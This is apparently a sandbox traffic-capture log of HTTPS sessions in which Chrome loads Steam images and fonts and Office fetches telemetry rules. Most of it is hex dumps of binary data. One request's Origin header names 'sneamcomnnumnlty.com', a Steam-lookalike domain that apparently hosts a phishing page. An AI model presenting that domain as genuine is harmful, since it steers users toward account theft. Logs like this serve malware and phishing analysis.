2024-10-06 11:21:00 UTC	5328	IN	Data Raw: ff ff 00 01 ff 6c 00 f6 00 f9 01 07 02 6d ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e9 ff 6c 01 2f 01 01 01 07 02 6e ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e6 ff 64 01 34 01 01 01 07 02 6f ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e9 ff 6c 01 2d 00 fa 01 07 02 70 ff e6 ff 6c 00 09 b1 00 02 b8 ff 6c b0 35 2b 00 00 00 ff ff ff f4 ff 64 01 35 00 f9 01 07 02 71 ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff 00 01 ff 64 01 4c 01 01 01 07 02 72 ff e6 ff 6c 00 09 b1 00 02 b8 ff 6c b0 35 2b 00 00 00 ff ff ff ed ff 6c 01 27 00 f9 01 07 02 73 ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff f7 ff 64 01 46 01 01 01 07 02 74 ff e6 ff 6c 00 09 b1 00 03 b8 ff 6c b0 35 2b 00 00 Data Ascii: lmll5+l/nll5+d4oll5+l-pll5+d5qll5+dLrll5+l'sll5+dFtll5+
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 07 27 01 33 4e 30 9f 15 a2 8d 2f 7f 13 4b 2e a8 18 b1 8f 2f 81 01 38 9f 62 40 46 4b 3e 64 9c 9d 64 3a 4e 4e 38 63 00 00 00 02 00 28 00 00 02 c2 02 bc 00 1b 00 1f 00 7a 4b b0 19 50 58 40 28 0e 07 02 01 06 04 02 02 03 01 02 67 0c 01 0a 0a 48 4d 0f 08 02 00 00 09 5f 10 0d 0b 03 09 09 4b 4d 05 01 03 03 49 03 4e 1b 40 26 10 0d 0b 03 09 0f 08 02 00 01 09 00 68 0e 07 02 01 06 04 02 02 03 01 02 67 0c 01 0a 0a 48 4d 05 01 03 03 49 03 4e 59 40 1e 00 00 1f 1e 1d 1c 00 1b 00 1b 1a 19 18 17 16 15 14 13 11 11 11 11 11 11 11 11 11 11 0a 1f 2b 01 07 23 07 33 07 23 07 23 37 23 07 23 37 23 37 33 37 23 37 33 37 33 07 33 37 33 07 05 33 37 23 02 c2 0a 9d 3a 9f 09 a7 3d 38 3d a6 3e 3b 3f 90 0a 96 3c 9b 09 a2 3c 38 3b a6 3a 39 3b fe d7 a6 3a a5 01 f9 36 c1 36 cc cc cc cc 36 c1 Data Ascii: '3N0/K./8b@FK>dd:NN8c(zKPX@(gHM_KMIN@&hgHMINY@+#3##7##7#737#737337337#:=8=>;?<<8;:9;:666
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 32 5a 4a 03 0d 3a 68 68 00 02 ff 1a 02 59 00 2d 03 3b 00 03 00 11 00 2a 40 27 00 01 00 01 85 00 00 02 00 85 00 03 06 01 05 03 05 66 04 01 02 02 48 02 4e 04 04 04 11 04 10 12 22 13 11 10 07 0a 1b 2b 03 23 37 33 06 26 37 33 16 16 33 32 36 37 33 06 06 23 4f 39 3a 56 aa 44 01 33 01 29 20 21 31 0c 37 11 54 35 02 d4 67 e2 39 2e 1c 1c 1f 19 33 34 00 00 00 02 ff 1a 02 59 00 2d 03 3b 00 03 00 11 00 28 40 25 00 01 00 00 02 01 00 67 00 03 06 01 05 03 05 65 04 01 02 02 48 02 4e 04 04 04 11 04 10 12 22 13 11 10 07 0a 1b 2b 03 23 27 33 06 26 37 33 16 16 33 32 36 37 33 06 06 23 3d 38 51 55 31 44 01 33 01 29 20 21 31 0c 37 11 54 35 02 d4 67 e2 39 2e 1c 1c 1f 19 33 34 00 02 ff 1a 02 59 00 2d 03 56 00 0e 00 1c 00 32 40 2f 07 01 00 01 0e 01 02 00 02 4c 00 01 00 00 02 01 00 Data Ascii: 2ZJ:hhY-;*@'fHN"+#73&7332673#O9:VD3) !17T5g9.34Y-;(@%geHN"+#'3&7332673#=8QU1D3) !17T5g9.34Y-V2@/L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49835	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	390	OUT	GET /public/images/footerLogo_valve_new.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2584 Last-Modified: Fri, 21 Feb 2020 17:48:31 GMT ETag: "5e5017ef-a18" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	2584	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 32 08 06 00 00 00 fc cf 51 8d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR2QtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49836	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	374	OUT	GET /public/images/x9x9.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 58 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-3a" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	58	IN	Data Raw: 47 49 46 38 39 61 09 00 09 00 80 01 00 cd ca c1 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 09 00 09 00 00 02 11 04 82 68 9b ec d6 d6 49 81 51 39 2b 7c 19 53 5d 00 00 3b Data Ascii: GIF89a!,hIQ9+\|S];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49839	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	406	OUT	GET /public/images/account/redeem_wallet_complete_popup.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:01 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 22513 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-57f1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:01 UTC	16115	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b7 00 00 00 aa 08 06 00 00 00 2e a8 01 1a 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR.pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2024-10-06 11:21:01 UTC	6398	IN	Data Raw: f2 22 cb 32 6d 4b 12 23 84 2d 9d cc 91 cf 16 a7 ed f3 45 23 61 da db 5a 47 9d 43 27 c4 6d 2e 7b 6e 96 c5 c1 8d 35 7a 6e de f4 ac b7 c1 c0 f9 6e 07 35 ea 43 c5 7f e7 9b c0 c5 1b a2 d3 2a 70 86 2c f1 c5 b5 09 ae ff f4 07 f8 d7 ed 37 f3 d5 cf 8c 1d 8a 04 f0 05 b5 fd 96 f9 38 9d 84 13 3e 54 5d d9 bb e6 36 86 e7 b6 62 69 98 42 d1 44 a4 94 4c 3f 83 db 05 26 aa 4c 22 c9 12 ad 8b e3 23 92 47 ca 25 93 be ee cc b4 7c 26 43 d7 59 d4 d6 4a bc a1 61 de 1c 7d 24 c4 8d 81 18 76 ae 64 73 d0 a0 b8 55 d9 2a 5e 49 82 69 2c 6e bf a1 4d c5 b5 e6 e7 3e 24 59 96 69 68 88 92 4e 25 eb 2e 70 41 45 e6 ab 07 37 f2 f3 4f 5e c6 03 ff be 83 ab 3e 7d 24 07 1d 18 1b f7 f9 ae 33 3f 4d bb 24 49 24 da 43 38 ee c0 c0 56 c7 09 4b ba ae 27 f6 bb cd 64 e4 22 11 a7 b5 a5 19 6d 1f 2f 4e 92 24 5a Data Ascii: "2mK#-E#aZGC'm.{n5znn5Cp,78>T]6biBDL?&L"#G%\|&CYJa}$vdsU^Ii,nM>$YihN%.pAE7O^>}$3?M$I$C8VK'd"m/N$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112101Z-1657d5bbd48xlwdx82gahegw40000000026g000000000rd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:01 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 10df1352-f01e-00aa-105a-178521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112101Z-1657d5bbd48sqtlf1huhzuwq7000000001p00000000076mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:01 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112101Z-1657d5bbd48762wn1qw4s5sd3000000001u00000000056cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112101Z-1657d5bbd48lknvp09v995n79000000001dg00000000f3g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112101Z-1657d5bbd48cpbzgkvtewk0wu0000000022g0000000027gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49845	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:01 UTC	679	OUT	GET /public/shared/fonts/MotivaSans-Light.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:01 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 122660 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1df24" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:01 GMT Connection: close
2024-10-06 11:21:01 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 df 1c 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 b7 ad 6e 29 00 00 01 6c 00 00 75 6a 47 53 55 42 e1 64 c1 db 00 00 76 d8 00 00 1b a4 4f 53 2f 32 74 d2 9d 02 00 00 92 7c 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 92 dc 00 00 05 8e 63 76 74 20 46 29 09 0f 00 01 cf 64 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d0 2c 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 cf 5c 00 00 00 08 67 6c 79 66 e0 8a ae 64 00 00 98 6c 00 01 01 b6 68 65 61 64 17 93 fb 41 00 01 9a 24 00 00 00 36 68 68 65 61 06 9e 06 2b 00 01 9a 5c 00 00 00 24 68 6d 74 78 76 c1 78 00 00 01 9a 80 00 00 0c e6 6c 6f 63 61 a7 f7 67 d6 00 01 a7 68 00 00 06 a6 6d 61 78 70 04 a0 0f 16 00 01 ae 10 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSn)lujGSUBdvOS/2t\|`cmapdcvt F)dfpgm6!,gasp\glyfdlheadA$6hhea+\$hmtxvxlocaghmaxp nam
2024-10-06 11:21:02 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 01 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff db ff f7 00 02 00 00 00 03 00 00 00 04 00 01 00 00 00 00 00 00 00 00 ff ad ff bd 00 00 00 00 00 00 00 00 00 00 ff 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff eb ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 11:21:02 UTC	2634	IN	Data Raw: 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 Data Ascii:
